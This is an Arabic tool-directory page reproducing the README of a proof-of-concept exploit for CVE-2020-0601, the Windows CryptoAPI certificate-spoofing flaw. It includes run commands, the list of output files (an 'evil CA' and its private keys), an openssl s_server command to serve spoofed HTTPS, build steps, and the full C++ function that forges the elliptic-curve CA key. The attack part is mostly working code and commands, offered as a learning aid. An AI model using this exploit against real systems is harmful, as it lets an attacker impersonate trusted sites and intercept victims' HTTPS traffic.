Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2020-0601_poc — استغلال إثبات المفهوم لـ CVE-2020-0601 (انتحال Windows CryptoAPI) الذي يولد شهادات CA مزيفة لاعتراض حركة مرور HTTPS، مع كود مصدر مفصل يشرح هجوم المنحنى الإهليلجي. | Kitploit
أدوات/GitHubGitHub/gremwell/cve-2020-0601_poc
الاستغلالأمن الويبالتشفيراختبار الاختراقالتعلم والتعليم
GitHubgremwell/cve-2020-0601_poc

cve-2020-0601_poc

استغلال إثبات المفهوم لـ CVE-2020-0601 (انتحال Windows CryptoAPI) الذي يولد شهادات CA مزيفة لاعتراض حركة مرور HTTPS، مع كود مصدر مفصل يشرح هجوم المنحنى الإهليلجي.

عرض المستودع
222منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

معلومات أساسية

يُفترض أن يساعد الكود المصدري لهذه الأداة في فهم ثغرة CVE-2020-0601 المكتشفة في Windows Crypto API، انظر نظرة CERT العامة.

يمكن استخدام الأداة نفسها لإنتاج شهادة لأي نطاق (domain) سيتم توقيعها بواسطة سلطة شهادات خبيثة (evil CA). تنتج هذه الأداة سلطة شهادات خبيثة تمتلك نفس المفتاح العام المقدَّم عبر سطر الأوامر.

عندما يستهدف متصفح ويب على إصدار Windows ضعيف هذه الشهادة، فسيتم اعتبارها شهادة موثوقة. وهذا يسمح لمهاجم شبكة في موقع مناسب باعتراض حركة مرور الضحية.

ملخص

شغّل الأداة مع توفير مسار شهادة Windows موثوقة:

root@kitploit:~
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt

في المثال أعلاه، يتم استخدام USERTrust ECC Certification Authority مع المفتاح العام التالي:

root@kitploit:~
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79

ستحفظ الأداة عدة شهادات ومفاتيح في مجلد العمل الحالي:

root@kitploit:~
test-cve_evil-ca.crt -- evil CA
test-cve_evil-privkey.key -- evil CA's private key in PEM format
test-cve_evil-privkey-pk8.key -- evil CA's private key in PKCS#8 format
test-cve_host-cert.crt -- target host's certificate (example.com by default)
test-cve_host-privkey.key -- target host's private key (example.com by default)

لاختبار الشهادات، شغّل openssl s_server كما يلي وأعد توجيه طلبات https://example.com/ من جهاز Windows الضعيف لديك نحوه:

root@kitploit:~
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

تأكد من أن الشهادة الأصلية مخزنة في الذاكرة المؤقتة (cached)!

يجب أن تبدو النتيجة هكذا: example.com spoofing

البناء

يُستخدم cmake لتوليد ملف make لبناء هذه الأداة. المكتبات التالية مطلوبة كتبعيات (dependencies):

  • openssl (> 1.0)
  • cryptopp

البناء:

root@kitploit:~
mkdir build
cd build
cmake ..
make

الوصف

سيتم إضافة وصف شامل (نسبيًا) في وقت ما إلى موقع Gremwell.

ابدأ بالنظر إلى ملف main.cpp. فهو يستدعي غلافات OpenSSL مختلفة، وهي مهمة لكنها غير مرتبطة بالثغرة نفسها. الجزء الأكثر إثارة للاهتمام موجود في ملف cve-2020-0601_poc.cpp:

root@kitploit:~
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}

التعليقات هنا واضحة بذاتها إلى حد كبير. :-)

شكر وتقدير

شكرًا لـ مدونة kudelskisecurity والمراجع المذكورة هناك.

تنزيل الأداة